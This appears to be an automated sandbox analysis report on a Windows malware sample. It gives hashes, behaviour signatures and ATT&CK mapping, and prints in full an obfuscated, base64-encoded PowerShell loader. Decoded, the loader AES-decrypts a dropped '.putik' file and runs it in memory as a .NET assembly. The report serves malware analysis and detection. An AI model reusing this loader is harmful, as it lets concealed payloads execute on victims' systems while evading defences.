a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a

General

Target

a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe
Size

988KB
MD5

bfeee0c844094e78262beb304526f216
SHA1

844c0a9df056cc6690c90814158859e0fe728394
SHA256

a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a
SHA512

ad26d27557d7f8cfd7ddad346dabeb43e66ae9d87197728122bab0a71cda51d82489939d7ceeb9acbc15d41bcf9eb30cb4da7b353316fc9317bd25b8edeb42aa
SSDEEP

24576:Hf0htH9iGnLexsKea/NfBe+STqRd3wtsyUUmoXg:HidcGnax+a/N5dKyoXg

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2540 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2540 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2540 powershell.exe

pid	process
2540	powershell.exe

pid	process
2540	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2540	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe

description	pid	process	target process
PID 2044 wrote to memory of 2540	2044	a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe	powershell.exe
PID 2044 wrote to memory of 2540	2044	a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe	powershell.exe
PID 2044 wrote to memory of 2540	2044	a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe
"C:\Users\Admin\AppData\Local\Temp\a9f8962e8fe80bbe7b1462f0c4d776abeb968a6c8f33fca3074a54b45d09ad9a.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2044

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4ADgARgAsACAAMAB4AEEAMwAsACAAMAB4ADUANAAsACAAMAB4ADUAMAAsACAAMAB4ADcAMQAsACAAMAB4ADQAMQAsACAAMAB4AEQAMgAsACAAMAB4AEYANQAsACAAMAB4ADEARAAsACAAMAB4ADMAQgAsACAAMAB4ADcAMgAsACAAMAB4AEEAOAAsACAAMAB4ADMAQwAsACAAMAB4AEUAOQAsACAAMAB4AEMAOQAsACAAMAB4AEYAQQAsACAAMAB4ADkANQAsACAAMAB4ADEAMgAsACAAMAB4AEUARAAsACAAMAB4AEIAQQAsACAAMAB4ADcAMgAsACAAMAB4ADUARAAsACAAMAB4AEYAMQAsACAAMAB4AEUANAAsACAAMAB4ADYAQgAsACAAMAB4AEIAOQAsACAAMAB4ADAARAAsACAAMAB4AEIAMAAsACAAMAB4ADcANwAsACAAMAB4ADIANwAsACAAMAB4ADQAOQAsACAAMAB4AEMAMQApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABEADQALAAgADAAeABFAEQALAAgADAAeABBAEMALAAgADAAeAAzAEMALAAgADAAeAAzAEMALAAgADAAeAA0ADQALAAgADAAeAAwAEQALAAgADAAeAA4ADcALAAgADAAeAAwADYALAAgADAAeAA3AEMALAAgADAAeAA2ADgALAAgADAAeAAzADcALAAgADAAeAAxAEQALAAgADAAeAAxAEUALAAgADAAeABGAEIALAAgADAAeABDADMAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2540

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\file-15693.putik
Filesize
33KB

MD5
7088c133505af9dd34ece4683fb69cbd

SHA1
29ce71145aaec80bfb0d6e10d992235914715110

SHA256
6252e15e89dd49a51309a2e6944e36838752fa6aa619e777d5692a243a1bf316

SHA512
061bf41c4ea0d786fdc5be73894d9944bfb67e533bb2b924ece799b19c50714a0573c98a99eb1150b7920fcebbc429eb6a4b71105ed9cb5d67044961910c3b9f

Download Submit
memory/2540-5-0x000007FEF5F2E000-0x000007FEF5F2F000-memory.dmp

Filesize
4KB

Download
memory/2540-6-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2540-7-0x0000000002910000-0x0000000002918000-memory.dmp

Filesize
32KB

Download
memory/2540-8-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-9-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-10-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-11-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download
memory/2540-13-0x0000000002D00000-0x0000000002D0C000-memory.dmp

Filesize
48KB

Download
memory/2540-14-0x000007FEF5C70000-0x000007FEF660D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing